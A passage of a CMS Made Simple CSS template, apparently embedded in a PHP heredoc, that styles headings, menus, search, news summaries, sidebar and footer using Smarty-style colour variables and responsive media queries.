*]]\r\n}\r\n\r\nh4 {\r\n	color: [[\$orange]];\r\n	font-size: 1.375em; [[* /* 22px */ *]]\r\n}\r\n\r\nh5 {\r\n	font-size: 1.25em [[* /* 20px */ *]]\r\n}\r\n\r\nh6 {\r\n	font-size: 1.125em; [[* /* 18px */ *]]\r\n}\r\n\r\n[[* /* blockquotes and cites */ *]]\r\nblockquote, blockquote p {\r\n	font-size: 1.0625em;\r\n	line-height: 1.5;\r\n	color: [[\$dark_grey]];\r\n	font-style: italic;\r\n	font-family: Georgia, Times New Roman, serif;\r\n}\r\n\r\nblockquote {\r\n	margin: 0 0 20px 0;\r\n	padding: 9px 10px 10px 19px;\r\n	border-left: 5px solid [[\$light_grey]];\r\n}\r\n\r\nblockquote cite {\r\n	display: block;\r\n	font-size: .941176em;\r\n	color: [[\$dark_grey]];\r\n}\r\n\r\nblockquote cite:before {\r\n	content: "\\2014 \\0020";\r\n}\r\n\r\nblockquote cite a, blockquote cite a:visited, blockquote cite a:visited {\r\n	font-family: Georgia, Times New Roman, serif;\r\n}\r\n\r\n[[* /* =====================================\r\n LAYOUT\r\n ===================================== */ *]]\r\n[[* /* wrapping the page in a box */ *]]\r\n.page-wrapper {\r\n	border-top: 5px solid [[\$orange]];\r\n	margin-bottom: 15px;\r\n}\r\n\r\n[[* /* you can switch appearance of the page by adding or removing id #boxed to body tag */ *]]\r\n#boxed #wrapper {\r\n	margin-top: 15px;\r\n	border-top: 5px solid [[\$orange]];\r\n	background: [[\$white]];\r\n	box-shadow: 0 0 15px 0 #c6c6c6;\r\n}\r\n\r\n#boxed.page-wrapper {\r\n	border-top: none;\r\n}\r\n\r\n[[* /* add some spacing to page wrapper */ *]]\r\n.inner-section {\r\n	padding-left: 20px;\r\n	padding-right: 20px;\r\n}\r\n\r\n[[* /* ------ HEADER SECTION ------ */ *]]\r\n\r\n[[* /* the logo */ *]]\r\n.logo {\r\n	margin-top: 20px;\r\n	text-align: center;\r\n}\r\n\r\n.logo a {\r\n	display: block;\r\n}\r\n\r\n.top .header {\r\n	border-bottom: 1px solid [[\$light_grey]];\r\n}\r\n\r\n[[* /* catchphrase */ *]]\r\n.phrase span {\r\n	font-family: 'Oswald', Impact, Haettenschweiler, 'Arial Narrow Bold', sans-serif;\r\n	text-transform: uppercase;\r\n	color: #ddd;\r\n	font-weight: 700;\r\n	font-size: 1.5em; [[* /* 24px */ *]]\r\n}\r\n\r\n[[* /* search */ *]]\r\n.search {\r\n	text-align: right;\r\n}\r\n\r\n[[* /* webkit browser add icons to input of type search, we dont want it here now */ *]]\r\ninput.search-input::-webkit-search-decoration, input.search-input::-webkit-search-results-button, \r\ninput.search-input::-webkit-search-results-decoration {\r\n	-webkit-appearance: none;\r\n}\r\n\r\n.search .icon-search {\r\n	margin-left: -25px;\r\n	display: inline-block;\r\n	height: 24px;\r\n	line-height: 24px;\r\n	text-align: center;\r\n	width: 24px;\r\n	position: relative;\r\n	z-index: 10;\r\n	color: #ddd;\r\n	top: 3px;\r\n}\r\n\r\n.search ::-webkit-input-placeholder,\r\n.search ::-moz-placeholder,\r\n.search input[placeholder] { \r\n	line-height: normal;\r\n}\r\n\r\n[[* /* styling the search input field */ *]]\r\ninput.search-input {\r\n	border: 1px solid [[\$light_grey]];\r\n	line-height: normal;\r\n	outline: 0;\r\n	padding: 6px 0 6px .5%;\r\n	font-size: .6875em; [[* /* 11px */ *]]\r\n	color: [[\$dark_grey]];\r\n	transition: all .35s ease-in-out;\r\n	-webkit-transition: all .35s ease-in-out;\r\n	-moz-transition: all .35s ease-in-out;\r\n	-o-transition: all .35s ease-in-out;\r\n	max-width: 99.5%;\r\n}\r\n\r\ninput.search-input:focus {\r\n	border: 1px solid [[\$orange]];\r\n	box-shadow: 0 0 3px [[\$orange]];\r\n	-webkit-box-shadow: 0 0 3px [[\$orange]];\r\n	-moz-box-shadow: 0 0 3px [[\$orange]];\r\n	-o-box-shadow: 0 0 3px [[\$orange]];\r\n}\r\n\r\n[[* /* ------ NAVIGATION ------ */ *]]\r\n#main-menu {\r\n	margin-top: 25px;\r\n}\r\n\r\n[[* /* --- FIRST LEVEL --- */ *]]\r\n#main-menu > li {\r\n	display: block;\r\n	border-bottom: 1px dotted [[\$light_grey]];\r\n	position: relative;\r\n}\r\n\r\n#main-menu > li:last-child {\r\n	border-bottom: none;\r\n}\r\n\r\n#main-menu > li > a,\r\n#main-menu > li.sectionheader > span {\r\n	font-family: 'Oswald', Impact, Haettenschweiler, 'Arial Narrow Bold', sans-serif;\r\n	text-transform: uppercase;\r\n	color: [[\$dark_grey]];\r\n	text-decoration: none;\r\n	font-size: 1.0625em; [[* /* 17px */ *]]\r\n	font-weight: 700;\r\n	cursor: pointer;\r\n	padding: 8px 0;\r\n	display: block;\r\n	position: relative;\r\n}\r\n\r\n#main-menu > li.current > a,\r\n#main-menu > li.current.sectionheader > span,\r\n#main-menu > li:hover > a,\r\n#main-menu > li.sectionheader:hover > span {\r\n	color: [[\$dark_orange]];\r\n}\r\n\r\n[[* /* --- SECOND LEVEL --- */ *]]\r\n#main-menu > li > ul,\r\n#main-menu > li > ul > li > ul [[* /* third level */ *]] {\r\n	position: absolute;\r\n	left: -999em;\r\n}\r\n\r\n#main-menu > li:hover > ul,\r\n#main-menu > li.active > ul,\r\n#main-menu > li > ul > li:hover > ul, [[* /* third level */ *]]\r\n#main-menu > li > ul > li.active > ul {\r\n	position: relative;\r\n	left: 0;\r\n}\r\n\r\n#main-menu > li > ul > li > a,\r\n#main-menu > li > ul > li.sectionheader > span,\r\n#main-menu > li > ul > li > ul > li > a, [[* /* third level */ *]]\r\n#main-menu > li > ul > li > ul > li.sectionheader > span {\r\n	text-decoration: none;\r\n	color: [[\$dark_grey]];\r\n	text-transform: uppercase;\r\n	display: block;\r\n	padding: 4px 0;\r\n}\r\n\r\n#main-menu > li > ul > li:hover > a,\r\n#main-menu > li > ul > li.sectionheader:hover > span,\r\n#main-menu > li > ul > li > ul > li:hover > a,\r\n#main-menu > li > ul > li > ul > li.sectionheader:hover > span {\r\n	color: #999;\r\n}\r\n\r\n[[* /* --- THIRD LEVEL --- */ *]]\r\n#main-menu > li > ul > li > ul > li > a,\r\n#main-menu > li > ul > li > ul > li.sectionheader > span {\r\n	padding-left: 15px;\r\n	font-size: .875em;\r\n	text-transform: none;\r\n}\r\n\r\n[[* /* --- PARENT INDICATOR --- */ *]]\r\n#main-menu > li > a i,\r\n#main-menu > li > ul > li > a i,\r\n#main-menu > li.sectionheader > span i,\r\n#main-menu > li > ul > li.sectionheader > span i {\r\n	float: right;\r\n	position: relative;\r\n	padding-top: 6px;\r\n	-webkit-transform: rotate(0deg);\r\n	-moz-transform: rotate(0deg);\r\n	-ms-transform: rotate(0deg);\r\n	-o-transform: rotate(0deg);\r\n	transform: rotate(0deg);\r\n	-webkit-transition: -webkit-transform 250ms ease-out 0s;\r\n	-moz-transition: -moz-transform 250ms ease-out 0s;\r\n	-o-transition: -o-transform 250ms ease-out 0s;\r\n	transition: transform 250ms ease-out 0s;\r\n}\r\n\r\n#main-menu > li:hover > a i,\r\n#main-menu > li.active > a i,\r\n#main-menu > li > ul > li:hover > a i,\r\n#main-menu > li > ul > li.active > a i,\r\n#main-menu > li.sectionheader:hover > span i,\r\n#main-menu > li.active.sectionheader > span i,\r\n#main-menu > li > ul > li.sectionheader:hover > span i,\r\n#main-menu > li > ul > li.active.sectionheader > span i {\r\n	-webkit-transform: rotate(-90deg);\r\n	-moz-transform: rotate(-90deg);\r\n	-ms-transform: rotate(-90deg);\r\n	-o-transform: rotate(-90deg);\r\n	transform: rotate(-90deg);\r\n}\r\n\r\n[[* /* ------ CONTENT AREA ------ */ *]]\r\n.content-wrapper {\r\n	padding-top: 20px;\r\n}\r\n\r\n.content-top {\r\n	font-family: Georgia, Times New Roman, serif;\r\n	color: [[\$dark_grey]];\r\n	font-style: italic;\r\n	line-height: 20px;\r\n	position: relative;\r\n}\r\n\r\n.content-top .title-border {\r\n	content: '';\r\n	height: 1px;\r\n	display: block;\r\n	width: 100%;\r\n	border-bottom: 1px dotted #ddd;\r\n	position: absolute;\r\n	top: 50%;\r\n}\r\n\r\n[[* /* breadcrumbs */ *]]\r\n.breadcrumb {\r\n	display: inline-block;\r\n	background: [[\$white]];\r\n	width: auto;\r\n	padding-right: 6px;\r\n	z-index: 1;\r\n	position: relative;\r\n}\r\n\r\n.breadcrumb a {\r\n	color: [[\$dark_grey]];\r\n	display: inline-block;\r\n	width: auto;\r\n	background: [[\$white]];\r\n}\r\n\r\n[[* /* print button */ *]]\r\na.printbutton {\r\n	display: none;\r\n}\r\n\r\n\r\n[[* /* news module summary -> content */ *]]\r\n.content .news-summary span.heading {\r\n	display: none;\r\n}\r\n\r\n.content .news-article {\r\n	margin-bottom: 15px;\r\n	padding-bottom: 15px;\r\n	border-bottom: 1px dotted [[\$grey]];\r\n}\r\n\r\n.content .news-summary ul.category-list {\r\n	margin: 15px 0;\r\n}\r\n\r\n.content .news-summary ul.category-list li a, .news-summary ul.category-list li span {\r\n	border-radius: 4px;\r\n}\r\n\r\n.news-summary ul.category-list li span {\r\n	opacity: .4;\r\n}\r\n\r\n[[* /* news module summary -> sitewide (content + sidebar) */ *]]\r\n[[* /* article heading */ *]]\r\n.news-article h2 {\r\n	margin: 0 0 15px 0;\r\n}\r\n\r\n.news-article h2 a {\r\n	font-family: 'Oswald', Impact, Haettenschweiler, 'Arial Narrow Bold', sans-serif;\r\n	text-transform: uppercase;\r\n	color: [[\$dark_grey]];\r\n	font-size: 16px;\r\n	text-decoration: none;\r\n	font-weight: 700;\r\n}\r\n\r\n[[* /* date circle, well square for IE  */ *]]\r\n.news-article .date {\r\n	background: [[\$orange]];\r\n	color: [[\$white]];\r\n	display: block;\r\n	float: left;\r\n	width: 40px;\r\n	padding: 6px;\r\n	height: 40px;\r\n	border-radius: 26px;\r\n	text-align: center;\r\n	font-family: Georgia, Times New Roman, serif;\r\n}\r\n\r\n.news-article .day {\r\n	font-size: 20px;\r\n	line-height: 1;\r\n	padding-bottom: 2px;\r\n	font-style: italic;\r\n	display: block;\r\n}\r\n\r\n.news-article.month {\r\n	font-size: 11px;\r\n	display: block\r\n}\r\n\r\n[[* /* author and category */ *]]\r\n.news-article .author, .news-article .category {\r\n	font-family: Georgia, Times New Roman, serif;\r\n	display: block;\r\n	padding-left: 60px;\r\n	font-size: 11px;\r\n	font-style: italic;\r\n}\r\n\r\n[[* /* category list on top of summary */ *]]\r\n.news-summary ul.category-list {\r\n	margin: 15px 0 -1px 0;\r\n	padding: 0;\r\n	list-style: none;\r\n}\r\n\r\n.news-summary ul.category-list li {\r\n	float: left;\r\n	display: block;\r\n	width: auto;\r\n	margin-right: 5px;\r\n}\r\n\r\n.news-summary ul.category-list li a, .news-summary ul.category-list li span {\r\n	display: block;\r\n	color: [[\$dark_grey]];\r\n	padding: 4px 8px;\r\n	background: [[\$light_grey]];\r\n	border-radius: 4px 4px 0 0;\r\n	text-decoration: none;\r\n	font-size: 11px;\r\n	text-transform: uppercase;\r\n}\r\n\r\n.news-summary ul.category-list li a:hover {\r\n	color: [[\$orange]];\r\n}\r\n\r\n.news-summary .paginate {\r\n	font: italic 11px/1.2 Georgia, Times New Roman, serif;\r\n}\r\n\r\n.news-summary .paginate a {\r\n	padding: 0 3px;\r\n}\r\n\r\n.news-meta {\r\n	background: [[\$light_grey]];\r\n	padding: 10px;\r\n	margin: 10px 0;\r\n}\r\n\r\n[[* /* more link */ *]]\r\n.more, .more a,\r\n[[* /* back link */ *]]\r\n.back, .back a,\r\n[[* /* previous, next links */ *]]\r\n.previous a, .next a, .previous, .next {\r\n	font: italic 12px/1.3 Georgia, Times New Roman, serif;\r\n	color: [[\$dark_grey]];\r\n	text-decoration: none;\r\n}\r\n\r\n[[* /* hover behavior of more, next, previous links */ *]]\r\n.more a:hover, .back a:hover, .previous a:hover, .next a:hover {\r\n	text-decoration: underline;\r\n}\r\n\r\n.previous, .next {\r\n	padding: 6px 0;\r\n}\r\n\r\n[[* /* align next link to right */ *]]\r\n.previous {\r\n	float: left;\r\n}\r\n\r\n.next {\r\n	float: right;\r\n}\r\n\r\n[[* /* ------ SIDEBAR AREA ------ */ *]]\r\n\r\n[[* /* news module summary -> sidebar */ *]]\r\n.sidebar .news-summary span.heading {\r\n	position: relative;\r\n	color: [[\$dark_grey]];\r\n	font: normal 1em/1.25 Georgia, Times New Roman, serif;\r\n	margin: 0 0 15px 0;\r\n	display: block;\r\n}\r\n\r\n.sidebar .news-summary span.heading:after {\r\n	content: '';\r\n	height: 1px;\r\n	display: block;\r\n	width: 100%;\r\n	border-bottom: 1px dotted #ddd;\r\n	position: absolute;\r\n	top: 50%;\r\n}\r\n\r\n.sidebar .news-summary .heading span {\r\n	display: inline-block;\r\n	width: auto;\r\n	background: [[\$white]];\r\n	padding-right: 6px;\r\n	position: relative;\r\n	z-index: 10;\r\n}\r\n\r\n.sidebar .news-article {\r\n	padding: 15px;\r\n	position: relative;\r\n	background: [[\$light_grey]];\r\n	margin-bottom: 20px;\r\n	border-radius: 0 0 6px 0;\r\n	font-size: .8125em; [[* /* 13px */ *]]\r\n}\r\n\r\n[[* /* creating a bubble box with css3 */ *]]\r\n.sidebar .news-article:before {\r\n	content: '';\r\n	position: absolute;\r\n	bottom: -15px;\r\n	right: 25px;\r\n	width: 10px;\r\n	height: 35px;\r\n	-webkit-transform: rotate(55deg) skewY(55deg);\r\n	-moz-transform: rotate(55deg) skewY(55deg);\r\n	-o-transform: rotate(55deg) skewY(55deg);\r\n	-ms-transform: rotate(55deg) skewY(55deg);\r\n	transform: rotate(55deg) skewY(55deg);\r\n	background: [[\$light_grey]];\r\n}\r\n\r\n.lt-ie9 .sidebar .news-article:before {\r\n	display: none;\r\n}\r\n\r\n[[* /* ------ FOOTER AREA ------ */ *]]\r\n[[* /* footer wrapper */ *]]\r\n.footer {\r\n	position: relative;\r\n	border-top: 8px solid [[\$light_grey]];\r\n	margin: 25px 0 10px 0;\r\n	padding-top: 20px;\r\n	padding-bottom: 20px;\r\n}\r\n\r\n.footer:before {\r\n	content: ' ';\r\n	border-top: 2px dotted [[\$white]];\r\n	border-bottom: 2px dotted [[\$white]];\r\n	height: 4px;\r\n	display: block;\r\n	position: absolute;\r\n	width: 100%;\r\n	top: -8px;\r\n	left: 0;\r\n}\r\n\r\n[[* /* copyright text */ *]]\r\n.copyright {\r\n	padding-top: 15px;\r\n}\r\n\r\n.copyright-info {\r\n	color: [[\$dark_grey]];\r\n	font-size: .6875em; [[* /* 11px */ *]]\r\n}\r\n\r\n[[* /* social icons */ *]]\r\n.footer ul.social {\r\n	padding: 0;\r\n	margin: 0;\r\n	list-style: none;\r\n	text-align: center;\r\n}\r\n\r\n.footer .social li {\r\n	display: inline;\r\n	margin: 0;\r\n	padding: 0;\r\n	margin-right: 6px;\r\n}\r\n\r\n.footer .social li a {\r\n	display: inline-block;\r\n	text-decoration: none;\r\n	font-size: 2.625em;\r\n	line-height: 1;\r\n	color: [[\$dark_grey]];\r\n}\r\n\r\n.footer .social li a:hover {\r\n	color: [[\$orange]];\r\n}\r\n\r\n.footer .social li a i {\r\n	display: inline-block;\r\n}\r\n\r\n[[* /* back to top anchor */ *]]\r\n.back-top a {\r\n	display: inline-block;\r\n	width: 16px;\r\n	height: 16px;\r\n	line-height: 16px;\r\n	padding: 8px;\r\n	border: 5px solid [[\$white]];\r\n	text-decoration: none;\r\n	color: [[\$dark_grey]];\r\n	background-color: [[\$light_grey]];\r\n	border-radius: 500px;\r\n	-webkit-border-radius: 500px;\r\n	-moz-border-radius: 500px;\r\n	-o-border-radius: 500px;\r\n	position: absolute;\r\n	top: -24px;\r\n	left: 50%;\r\n	margin-left: -12px;\r\n	-webkit-transition: all 200ms ease-in-out;\r\n	-moz-transition: all 200ms ease-in-out;\r\n	-ms-transition: all 200ms ease-in-out;\r\n	-o-transition: all 200ms ease-in-out;\r\n	transition: all 200ms ease-in-out;\r\n}\r\n\r\n.back-top a:hover {\r\n	background-color: [[\$orange]];\r\n	color: [[\$white]];\r\n	-webkit-transform: scale(1.1);\r\n	-moz-transform: scale(1.1);\r\n	-ms-transform: scale(1.1);\r\n	-o-transform: scale(1.1);\r\n	transform: scale(1.1);\r\n}\r\n\r\n[[* /* Footer navigation */ *]]\r\n.footer-navigation {\r\n	padding-top: 15px;\r\n	border-bottom: 1px solid [[\$light_grey]];\r\n}\r\n\r\n#footer-menu li > a,\r\n#footer-menu li.sectionheader > span {\r\n	color: [[\$dark_grey]];\r\n	display: block;\r\n	text-decoration: none;\r\n}\r\n\r\n#footer-menu li > a:hover,\r\n#footer-menu li > a.current,\r\n#footer-menu li.sectionheader > span:hover,\r\n#footer-menu li.sectionheader > span.current {\r\n	color: [[\$orange]];\r\n} \r\n\r\n#footer-menu > li > a,\r\n#footer-menu > li.sectionheader > span {\r\n	font-family: 'Oswald', Impact, Haettenschweiler, 'Arial Narrow Bold', sans-serif;\r\n	text-transform: uppercase;\r\n	text-decoration: none;\r\n	display: block;\r\n}\r\n\r\n#footer-menu > li > ul > li > a,\r\n#footer-menu > li > ul > li.sectionheader > span {\r\n	font-size: .875em; [[* /* 14px */ *]]\r\n	padding: 2px 0;\r\n}\r\n\r\n#footer-menu > li > ul {\r\n	margin: 15px 0;\r\n}\r\n\r\n[[* /* =====================================\r\n SCREENS BIGGER THAN 768px\r\n ===================================== */ *]]\r\n\r\n@media screen and (min-width: 768px) {\r\n\r\n	.lt-768 {\r\n		display: none;\r\n	}\r\n\r\n	.logo {\r\n		margin-top: 12px;\r\n		position: relative;\r\n		text-align: left;\r\n	}\r\n\r\n	[[* /* having some fun with palm, rotating with css3, will not work in IE */ *]]\r\n	.logo .palm {\r\n		position: absolute;\r\n		top: 5px;\r\n		left: 45px;\r\n		background: url([[\$path]]/palm-circle.png) no-repeat;\r\n		display: block;\r\n		width: 48px;\r\n		height: 48px;\r\n		transition: transform 0.6s ease-out;\r\n		-webkit-transition: -webkit-transform 0.6s ease-out;\r\n		-moz-transition: -moz-transform 0.6s ease-out;\r\n		-o-transition: -o-transform 0.6s ease-out;\r\n		-webkit-perspective: 1000;\r\n		-webkit-backface-visibility: hidden;\r\n	}\r\n\r\n	[[* /* css3 transform rotating palm on hover */ *]]\r\n	.logo a:hover .palm {\r\n		transform: rotate(360deg);\r\n		-webkit-transform: rotate(360deg);\r\n		-moz-transform: rotate(360deg);\r\n		-o-transform: rotate(360deg);\r\n	}\r\n\r\n	[[* /* ------ NAVIGATION ------ */ *]]\r\n\r\n	nav.main-navigation {\r\n		z-index: 990;\r\n		height: 55px;\r\n		line-height: 37px;\r\n		margin-top: 20px;\r\n	}\r\n\r\n	#main-menu {\r\n		float: right;\r\n		margin-top: 0;\r\n	}\r\n	\r\n	[[* /* --- FIRST LEVEL --- */ *]]\r\n	#main-menu > li {\r\n		display: inline-block;\r\n		padding: 0;\r\n		margin: 0 4px;\r\n		border: none;\r\n		position: relative;\r\n	}\r\n	\r\n	[[* /* PARENT INICATOR */ *]]\r\n	#main-menu > li i {\r\n		display: none;\r\n	}\r\n	\r\n	.touch-device #main-menu > li i {\r\n		display: inline-block;\r\n		float: none;\r\n	}\r\n	\r\n	.touch-device #main-menu > li li i {\r\n		float: left;\r\n		display: inline-block;\r\n		margin-right: 8px;\r\n		padding-top: 2px;\r\n		text-align: left;\r\n	}\r\n	\r\n	.touch-device #main-menu > li:first-child li i {\r\n		float: right;\r\n	}\r\n\r\n	#main-menu > li:first-child, #main-menu > li.first {\r\n		margin-left: 0;\r\n	}\r\n\r\n	#main-menu > li:last-child, #main-menu > li.last {\r\n		margin-right: 0;\r\n	}\r\n\r\n	#main-menu > li > a, \r\n	#main-menu > li.sectionheader span {\r\n		padding: 0 6px 0 10px;\r\n		line-height: 37px;\r\n		font-size: 1em;\r\n	}\r\n\r\n	#main-menu > li.parent:hover > a, \r\n	#main-menu > li.sectionheader.parent:hover > span,\r\n	#main-menu > li.parent.active > a, \r\n	#main-menu > li.parent.active > span {\r\n		color: [[\$white]];\r\n		background-color: [[\$dark_grey]];\r\n		background-color: rgba(85, 85, 85, .95);\r\n	}\r\n\r\n	[[* /* --- SECOND LEVEL --- */ *]]\r\n	#main-menu > li > ul,\r\n	#main-menu > li > ul > li > ul [[* /* third level */ *]] {\r\n		display: block;\r\n		width: 260px;\r\n	}\r\n\r\n	#main-menu > li:hover > ul,\r\n	#main-menu > li.active > ul,\r\n	#main-menu > li > ul > li:hover > ul,\r\n	#main-menu > li > ul > li.active > ul {\r\n		height: auto;\r\n		position: absolute;\r\n		z-index: 9999;\r\n		top: 37px;\r\n		right: 0;\r\n		left: auto;\r\n		display: block;\r\n		border-radius: 3px;\r\n	}\r\n	\r\n	#main-menu > li:first-child:hover > ul,\r\n	#main-menu > li:first-child.active > ul {\r\n		right: auto;\r\n		left: 0;\r\n	}\r\n	\r\n	#main-menu > li > ul > li {\r\n		position: relative;\r\n		line-height: 1;\r\n		margin: 0;\r\n		padding-left: 10px;\r\n	}\r\n	\r\n	#main-menu > li:first-child > ul > li {\r\n		padding-right: 10px;\r\n		padding-left: 0;\r\n	}\r\n	\r\n	#main-menu > li > ul > li > a,\r\n	#main-menu > li > ul > li.sectionheader > span,\r\n	#main-menu > li > ul > li > ul > li > a,\r\n	#main-menu > li > ul > li > ul > li.sectionheader > span {\r\n		color: [[\$white]];\r\n		display: block;\r\n		text-transform: none;\r\n		line-height: 1.2;\r\n		border-bottom: 1px dotted #858585;\r\n		background-color: [[\$dark_grey]];\r\n		background-color: rgba(90, 90, 90, .98);\r\n		padding: 8px 12px;\r\n		font-size: .875em; [[* /* 14px */ *]]\r\n		text-decoration: none;\r\n	}\r\n	\r\n	#main-menu > li > ul > li.current > a, \r\n	#main-menu > li > ul > li.current.sectionheader > span,\r\n	#main-menu > li > ul > li > ul > li.current > a, \r\n	#main-menu > li > ul > ul > li > li.current.sectionheader > span {\r\n		color: [[\$orange]];\r\n	}\r\n\r\n	[[* /* THIRD LEVEL */ *]]\r\n	#main-menu > li > ul > li:hover > ul,\r\n	#main-menu > li > ul > li.active > ul {\r\n		width: 250px;\r\n		height: auto;\r\n		top: 0;\r\n		right: auto;\r\n		left: -250px;\r\n	}\r\n	\r\n	#main-menu > li:first-child > ul > li:hover > ul,\r\n	#main-menu > li:first-child > ul > li.active > ul {\r\n		left: auto;\r\n		right: -250px;\r\n	}\r\n	\r\n	.lt-ie9 #main-menu > li > ul > li:hover > ul,\r\n	.lt-ie9 #main-menu > li > ul > li.active > ul {\r\n		left: -247px;\r\n	}\r\n\r\n	#main-menu > li > ul > li:hover > ul:after,\r\n	#main-menu > li > ul > li.active > ul:after {\r\n		content: ' ';\r\n		width: 0px;\r\n		height: 0px;\r\n		border-style: solid;\r\n		border-width: 7px 0 7px 6px;\r\n		border-color: transparent transparent transparent [[\$dark_grey]];\r\n		border-color: transparent transparent transparent rgba(85, 85, 85, .95);\r\n		position: absolute;\r\n		right: -6px;\r\n		top: 12px;\r\n	}\r\n	\r\n	.lt-ie9 #main-menu > li:first-child > ul > li:hover > ul,\r\n	.lt-ie9 #main-menu > li:first-child > ul > li.active > ul {\r\n		left: auto;\r\n		right: -247px;\r\n	}\r\n	\r\n	#main-menu > li:first-child > ul > li:hover > ul:after,\r\n	#main-menu > li:first-child > ul > li.active > ul:after {\r\n		left: -10px;\r\n		right: auto;\r\n	}\r\n\r\n	#main-menu li ul li a:hover, \r\n	#main-menu li ul li span.sectionheader:hover {\r\n		box-shadow: 0 0 5px rgba(85, 85, 85, .9);\r\n		z-index: 2;\r\n	}\r\n\r\n	#main-menu > ul > li:last-child > a,\r\n	#main-menu > ul > li.sectionheader:last-child > span,\r\n	#main-menu > ul > li > ul > li:last-child > a,\r\n	#main-menu > ul > li > ul > li.sectionheader:last-child > span {\r\n		border-bottom: none;\r\n	}\r\n\r\n	.header-bottom {\r\n		height: 55px;\r\n		line-height: 55px;\r\n		padding: 8px 0;\r\n	}\r\n	\r\n	.phrase-text {\r\n		text-align: left;\r\n	}\r\n\r\n	input.search-input {\r\n		height: 17px;\r\n		line-height: 17px;\r\n		width: 100%;\r\n		max-width: 320px;\r\n	}\r\n	\r\n	input.search-input:focus {\r\n		max-width: 90%;\r\n	}\r\n	\r\n	[[* /* print button */ *]]\r\n	a.printbutton {\r\n		display: block;\r\n		padding-left: 6px;\r\n		width: 16px;\r\n		height: 16px;\r\n		float: right;\r\n		text-decoration: none;\r\n		color: [[\$dark_grey]];\r\n		background-color: [[\$white]];\r\n		z-index: 1;\r\n		position: relative;\r\n	}\r\n	\r\n	a.printbutton i {\r\n		display: inline-block;\r\n		-webkit-transform: rotateY(0deg);\r\n		-moz-transform: rotateY(0deg);\r\n		-ms-transform: rotateY(0deg);\r\n		-o-transform: rotateY(0deg);\r\n		transform: rotateY(0deg);\r\n		-webkit-transition: -webkit-transform 250ms ease-out 0s;\r\n		-moz-transition: -moz-transform 250ms ease-out 0s;\r\n		-o-transition: -o-transform 250ms ease-out 0s;\r\n		transition: transform 250ms ease-out 0s;\r\n	}\r\n	\r\n	a.printbutton:hover {\r\n		color: [[\$orange]];\r\n	}\r\n	\r\n	a.printbutton:hover i {\r\n		-webkit-transform: rotateY(360deg);\r\n		-moz-transform: rotateY(180deg);\r\n		-ms-transform: rotateY(360deg);\r\n		-o-transform: rotateY(360deg);\r\n		transform: rotateY(360deg);\r\n	}\r\n	\r\n	[[* /* --- FOOTER --- */ *]]\r\n	\r\n	.footer ul.social {\r\n		text-align: left;\r\n	}\r\n	\r\n	.footer .social li a i {\r\n		display: inline-block;\r\n		-webkit-transform: rotateY(0deg);\r\n		-moz-transform: rotateY(0deg);\r\n		-ms-transform: rotateY(0deg);\r\n		-o-transform: rotateY(0deg);\r\n		transform: rotateY(0deg);\r\n		-webkit-transition: -webkit-transform 250ms ease-out 0s;\r\n		-moz-transition: -moz-transform 250ms ease-out 0s;\r\n		-ms-transition: -moz-transform 250ms ease-out 0s;\r\n		-o-transition: -o-transform 250ms ease-out 0s;\r\n		transition: transform 250ms ease-out 0s;\r\n	}\r\n	\r\n	.footer .social li a:hover i {\r\n		-webkit-transform: rotateY(360deg);\r\n		-moz-transform: rotateY(180deg);\r\n		-ms-transform: rotateY(360deg);\r\n		-o-transform: rotateY(360deg);\r\n		transform: rotateY(360deg);\r\n	}\r\n	\r\n	[[* /* --- Footer Navigation --- */ *]]\r\n	\r\n	.footer-navigation {\r\n		border-bottom: none;\r\n	}\r\n	\r\n	#footer-menu > li {\r\n		float: left;\r\n		display: block;\r\n		position: relative;\r\n		margin-left: 3.8%;\r\n		width: 30.75%;\r\n	}\r\n	\r\n	#footer-menu > li:first-child {\r\n		margin-left: 0;\r\n	} \r\n}\r\n\r\n[[* /* ================================================\r\n WHEN LAYOUT BREAKS IT'S TIME FOR NEW MEDIA QUERY\r\n ================================================== */ *]]\r\n@media only screen and (max-width: 780px) {\r\n\r\n	.search {\r\n		margin-top: 15px;\r\n	}\r\n	\r\n	input.search-input {\r\n		width: 100%;\r\n		max-width: 100%;\r\n		float: left;\r\n	}\r\n	\r\n	input.search-input:focus {\r\n		max-width: none;\r\n	}\r\n	\r\n	.header-bottom {\r\n		padding-top: 20px;\r\n		text-align: center;\r\n		line-height: inherit;\r\n		padding: 20px 0;\r\n	}\r\n\r\n	\r\n}\r\n\r\n@media only screen and (min-width: 940px) and (max-width: 1110px) {\r\n	\r\n	#main-menu > li {\r\n		margin: 0;\r\n	}\r\n	\r\n	#main-menu > li > a, \r\n	#main-menu > li.sectionheader span {\r\n		padding: 0 6px;\r\n	}\r\n}\r\n\r\n@media only screen and (min-width: 768px) and (max-width: 1050px) {\r\n	\r\n	.row nav.main-navigation {\r\n		height: auto;\r\n		float: none;\r\n		display: block;\r\n		margin-left: 0;\r\n		width: 100%;\r\n		clear: left;\r\n	}\r\n	\r\n	#main-menu {\r\n		margin-top: 15px;\r\n		margin-bottom: 15px;\r\n		border-bottom: 1px solid [[\$light_grey]];\r\n		float: none;\r\n		display: block;\r\n		\r\n	}\r\n	\r\n	#main-menu > li {\r\n		margin: 0;\r\n		bottom: -1px;\r\n		text-align: center;\r\n		border-bottom: 1px solid [[\$light_grey]];\r\n		border-right: 1px solid [[\$light_grey]];\r\n		border-top: 1px solid [[\$light_grey]];\r\n	}\r\n	\r\n	#main-menu > li.current {\r\n		border-bottom-color: [[\$white]];\r\n		border-top-color: [[\$orange]];\r\n	}\r\n	\r\n	#main-menu > li.current > a {\r\n		border-top: 1px solid [[\$orange]];\r\n		line-height: 45px;\r\n	}\r\n	\r\n	#main-menu > li:first-child {\r\n		border-left: 1px solid [[\$light_grey]];\r\n	}\r\n	\r\n	#main-menu > li > a,\r\n	#main-menu > li > span {\r\n		line-height: 46px;\r\n		padding-left: 12px;\r\n		padding-right: 6px;\r\n	}\r\n	\r\n	#main-menu > li:hover > ul,\r\n	#main-menu > li.active > ul {\r\n		top: 45px;\r\n	}\r\n\r\n	.header-bottom {\r\n		height: auto;\r\n	}\r\n	\r\n	.row .seven-col.phrase-text,\r\n	.row .five-col.search {\r\n		display: block;\r\n		float: none;\r\n		width: 100%;\r\n		margin-left: 0;\r\n		text-align: center;\r\n	}\r\n}\r\n\r\n[[* /* ================================================\r\n WINDOWS 8 SNAP VIEW (yeah yeah W3C blah blah)\r\n ================================================== */ *]]\r\n@-ms-viewport {\r\n	width: device-width;\r\n}\r\n\r\n@-o-viewport {\r\n	width: device-width;\r\n}\r\n\r\n@-moz-viewport {\r\n	width: device-width;\r\n}\r\n\r\n@-webkit-viewport {\r\n	width: device-width;\r\n}\r\n\r\n@viewport {\r\n	width: device-width;\r\n}\r\n[[/strip]]
EOT;
